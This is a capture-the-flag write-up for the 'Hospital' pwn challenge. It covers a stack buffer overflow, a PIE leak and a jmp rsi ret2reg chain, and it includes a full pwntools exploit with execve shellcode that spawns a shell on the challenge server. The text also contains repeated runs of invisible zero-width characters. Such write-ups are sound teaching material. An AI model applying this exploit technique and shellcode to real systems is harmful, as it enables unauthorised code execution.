← Back to Writeups
CUSTOMMediumpwn

Hospital (Больница)

XESXOR9/2/20263 min read
#pwn#custom#medium#jmp_rsi#pie_leak#ret2reg#shellcode_injection#linux

Hospital (Больница)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: jmp_rsi, pie_leak, ret2reg, shellcode_injection

Summary

Task: PWN binary with PIE enabled, no canary, and executable stack (RWX). Solution: Leak PIE base via info function, use ret2reg technique with jmp rsi gadget to execute shellcode in the buffer.

Hospital (Больница) — Duckerz CTF

Description

Больница будущего внедрила инновационную регистрацию. Система обещает идеальную точность, и сверхзвуковую скорость, но с безопасностью что-то пошло не так... Разберись в чем дело

Server: nc tasks.duckerz.ru 30013

Technical Information

  • Binary: ELF 64-bit x86_64
  • Protections:
    • PIE: enabled
    • Canary: disabled
    • NX: disabled (Executable stack - RWX segments)
    • RELRO: Full

Analysis

1. Buffer Overflow Vulnerability

The enterPatientCard() function (option 1 in menu) contains a classic buffer overflow:

  • Stack buffer: 16 bytes (rbp - 0x10)
  • read() reads 128 bytes (0x80)
  • Offset to return address: 24 bytes (16 buffer + 8 saved rbp) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. PIE Leak

Option 5 (showTechnicalInfo) prints the function address:

Адрес этой функции: 0x561cac132701

Offset showTechnicalInfo = 0x1701, which allows calculating PIE base:

python
pie_base = leaked_addr - 0x1701

3. Gadget Search

Found gadgets in .text section:

GadgetOffsetBytes
pop rax; ret0x114c58 c3
pop rdx; ret0x117e5a c3
jmp rax0x116fff e0
jmp rsi0x11feff e6

Important: pop rdi; ret NOT found, which rules out classic ret2libc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. ret2reg Technique (jmp rsi)

Key observation: after calling read(0, buf, size):

  • rdi = 0 (stdin)
  • rsi = buffer address (preserved!)
  • rdx = size

The RSI register still points to our buffer after returning from read(). We use jmp rsi to jump to the beginning of the buffer with shellcode.

Solution

Shellcode Layout

Offset  | Content           | Description
--------|-------------------|---------------------------
[0-1]   | jmp +46 (0xeb2e)  | Jump over padding and ret addr
[2-15]  | NOP padding       | Fill up to saved rbp
[16-23] | fake RBP          | Overwrite saved rbp
[24-31] | jmp_rsi addr      | Return address → jmp rsi
[32-47] | NOP sled          | Safe landing zone
[48+]   | shellcode         | execve("/bin/sh")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# io = process('./hospital')
io = remote('tasks.duckerz.ru', 30013)

# === Stage 1: PIE Leak ===
io.recvuntil(b':')
io.sendline(b'5')  # showTechnicalInfo
io.recvuntil(b'0x')
leak = int(io.recvline().strip(), 16)

pie_base = leak - 0x1701
jmp_rsi = pie_base + 0x11fe

log.info(f"PIE base: {hex(pie_base)}")
log.info(f"jmp rsi @ {hex(jmp_rsi)}")

# === Stage 2: Trigger Overflow ===
io.recvuntil(b':')
io.sendline(b'1')  # enterPatientCard
io.recvuntil(b':')
io.send(b'A' * 14 + b'\n')  # First input (name)
io.recvuntil(b':')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# === Stage 3: Shellcode ===
# execve("/bin/sh", NULL, NULL)
shellcode = bytes([
    0x48, 0x31, 0xf6,              # xor rsi, rsi
    0x56,                          # push rsi
    0x48, 0xbf,                    # mov rdi, '/bin//sh'
    0x2f, 0x62, 0x69, 0x6e,
    0x2f, 0x2f, 0x73, 0x68,
    0x57,                          # push rdi
    0x54,                          # push rsp
    0x5f,                          # pop rdi
    0x48, 0x31, 0xd2,              # xor rdx, rdx
    0x6a, 0x3b,                    # push 59
    0x58,                          # pop rax
    0x0f, 0x05                     # syscall
])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# === Stage 4: Build Payload ===
payload = b'\xeb\x2e'      # jmp +46 (skip to shellcode)
payload += b'\x90' * 14    # NOP padding to fill buffer
payload += b'B' * 8        # fake saved RBP
payload += p64(jmp_rsi)    # return address → jmp rsi
payload += b'\x90' * 16    # NOP sled
payload += shellcode       # execve shellcode

io.send(payload)
io.interactive()

Execution

bash
$ python3 solve.py
[+] Opening connection to tasks.duckerz.ru on port 30013: Done
[*] PIE base: 0x561cac131000
[*] jmp rsi @ 0x561cac1321fe
[*] Switching to interactive mode
$ cat flag.txt
DUCKERZ{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Approaches

  1. Direct ret2shellcode — if there was a stack address leak
  2. ret2libc — if there was pop rdi; ret and libc leak
  3. mprotect + shellcode — if stack was NX

References

  • ret2reg technique
  • x86_64 calling convention ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍